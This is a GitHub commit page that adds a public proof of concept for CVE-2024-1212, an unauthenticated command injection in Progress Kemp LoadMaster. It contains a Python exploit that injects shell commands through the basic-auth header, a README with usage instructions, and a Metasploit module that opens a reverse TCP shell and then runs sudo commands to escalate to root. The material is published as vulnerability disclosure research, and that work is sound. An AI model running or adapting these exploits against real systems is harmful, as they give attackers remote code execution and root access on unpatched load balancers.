Skip to content

Commit 5a8a723

Browse files
committed
1 parent 4b79b92 commit 5a8a723

File tree

4 files changed

+190
-0
lines changed

4 files changed

+190
-0
lines changed

CVE-2024-1212/CVE-2024-1212.py

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
# Exploit for CVE-2024-1212: Unauthenticated RCE in Progress Kemp LoadMaster
2+
# Tested on: LoadMaster 7.2.59.0.22007
3+
# Author: Dave Yesland @daveysec with Rhino Security Labs
4+
5+
import requests
6+
from requests.auth import HTTPBasicAuth
7+
import argparse
8+
9+
requests.packages.urllib3.disable_warnings()
10+
11+
argparser = argparse.ArgumentParser(description="Exploit for CVE-2024-1212: Unauthenticated RCE in Progress Kemp LoadMaster")
12+
argparser.add_argument('target', help='The target (https://LoadmasterIP)')
13+
argparser.add_argument('command', help='The command to run')
14+
args = argparser.parse_args()
15+
16+
target = args.target
17+
command = args.command
18+
19+
normal_headers = ["Date", "Connection", "Content-Type", "Transfer-Encoding"]
20+
21+
# Fix colons as it will break the basic auth
22+
command = command.replace(":", "$'\\x3a'")
23+
24+
url = f"{target}/access/set?param=enableapi&value=1"
25+
r = requests.get(url, auth=HTTPBasicAuth(f"';{command};echo '", "anything"), verify=False)
26+
for key, value in r.headers.items():
27+
if key not in normal_headers:
28+
print(f"{key}: {value}")
29+
for line in r.text.splitlines():
30+
if line == ' -p anything':
31+
break
32+
else:
33+
print(line)

CVE-2024-1212/README.md

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
# CVE-2024-1212: Unauthenticated RCE in Progress Kemp LoadMaster
2+
3+
## Information
4+
**Description:** This allows remote code execution in the Progress Kemp LoadMaster via the admin web service.
5+
**Versions Affected:** All LoadMaster releases after 7.2.48.1
6+
**Version Fixed:** 7.2.59.2 (GA), 7.2.54.8 (LTSF), 7.2.48.10 (LTS)
7+
**Researcher:** Dave Yesland
8+
**Disclosure Link:** PLACEHOLDER
9+
**NIST CVE Link:** https://nvd.nist.gov/vuln/detail/CVE-2024-1212
10+
**Vendor Advisory:** https://support.kemptechnologies.com/hc/en-us/articles/23878931058445-LoadMaster-Security-Vulnerability-CVE-2024-1212
11+
12+
## Proof-of-Concept Exploit
13+
### Description
14+
The exploit bypasses API restrictions and executes commands through a command injection in the basic authorization header.
15+
16+
### Usage/Exploitation
17+
`python3 CVE-2024-1212.py https://LM_host 'ls'`
18+
19+
### Screenshot
20+
![Alt-text that shows up on hover](poc_image.gif)
Lines changed: 137 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,137 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Kemp LoadMaster Unauthenticated Command Injection',
17+
'Description' => %q{
18+
This module exploits an unauthenticated command injection vulnerability in
19+
Progress Kemp LoadMaster, versions before 7.2.59.2.
20+
},
21+
'Author' => [
22+
'Dave Yesland with Rhino Security Labs',
23+
],
24+
'License' => MSF_LICENSE,
25+
'References' => [
26+
['CVE', '2024-1212'],
27+
['URL', 'https://kemptechnologies.com/kemp-load-balancers'],
28+
['URL', 'https://www.rhinosecuritylabs.com/']
29+
],
30+
'DisclosureDate' => '2024',
31+
'Notes' => {
32+
'Stability' => [ CRASH_SAFE ],
33+
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],
34+
'Reliability' => [ REPEATABLE_SESSION ]
35+
},
36+
'Platform' => ['unix', 'linux'],
37+
'Arch' => [ARCH_X86, ARCH_X64],
38+
'Targets' => [['Automatic', {}]],
39+
'Privileged' => false,
40+
'DefaultOptions' =>
41+
{
42+
'PAYLOAD' => 'cmd/linux/https/x64/shell/reverse_tcp',
43+
'SSL' => true,
44+
'RPORT' => 443
45+
},
46+
'Payload' =>
47+
{
48+
'BadChars' => "\x3a\x27"
49+
}
50+
)
51+
)
52+
53+
register_options([
54+
OptString.new('TARGETURI', [true, 'The URI path to LoadMaster', '/']),
55+
OptBool.new('PRIVESC', [true, 'Automatically try privesc to add sudo entry', true])
56+
])
57+
58+
@first_session_timestamp = nil
59+
end
60+
61+
def exploit
62+
uri = normalize_uri(target_uri.path, 'access', 'set')
63+
64+
print_status("Sending payload...")
65+
66+
res = send_request_cgi({
67+
'method' => 'GET',
68+
'uri' => uri,
69+
'vars_get' =>
70+
{
71+
'param' => 'enableapi',
72+
'value' => "1"
73+
},
74+
'authorization' => basic_auth("';#{payload.encoded};echo '", 'anything'),
75+
'verify' => false
76+
})
77+
end
78+
79+
def on_new_session(session)
80+
# Kill the session if it was initiated too close to the first session
81+
# This command injection tends to execute twice, so we want to kill
82+
# the second session. Probably a better way to do this but I don't know it.
83+
super
84+
current_time = Time.now.to_i
85+
if @first_session_timestamp.nil?
86+
@first_session_timestamp = current_time
87+
elsif current_time - @first_session_timestamp < 5
88+
print_error("Detected a session initiated too close to the first session. Terminating it.")
89+
session.kill
90+
end
91+
92+
# Run privesc commands if PRIVESC is set to true
93+
if datastore['PRIVESC']
94+
execute_privesc_command(session)
95+
else
96+
print_status('Privilege escalation skipped.')
97+
end
98+
end
99+
100+
def execute_privesc_command(session)
101+
print_status("Executing privilege escalation command...")
102+
session.shell_command('sudo /bin/cp /bin/loadkeys /tmp/loadkeys')
103+
session.shell_command('sudo /bin/cp /bin/bash /bin/loadkeys')
104+
session.shell_command('sudo /bin/loadkeys -c /bin/bash')
105+
session.shell_command('cp /tmp/loadkeys /bin/loadkeys')
106+
end
107+
108+
def check
109+
print_status("Checking if #{peer} is vulnerable...")
110+
111+
uri = normalize_uri(target_uri.path, 'access', 'set')
112+
113+
res = send_request_cgi({
114+
'method' => 'GET',
115+
'uri' => uri,
116+
'vars_get' => {
117+
'param' => 'enableapi',
118+
'value' => "1"
119+
},
120+
'authorization' => basic_auth("'", 'anything'),
121+
'verify' => false
122+
})
123+
124+
# No response from server
125+
unless res
126+
return CheckCode::Unknown
127+
end
128+
129+
# Check for specific error pattern in headers or body to confirm vulnerability
130+
if res.headers.to_s.include?("unexpected EOF while looking for matching") || res.body.include?("unexpected EOF while looking for matching")
131+
return CheckCode::Vulnerable
132+
else
133+
return CheckCode::Safe
134+
end
135+
end
136+
137+
end

CVE-2024-1212/poc_image.gif

29.8 KB
Loading

0 commit comments

Comments
 (0)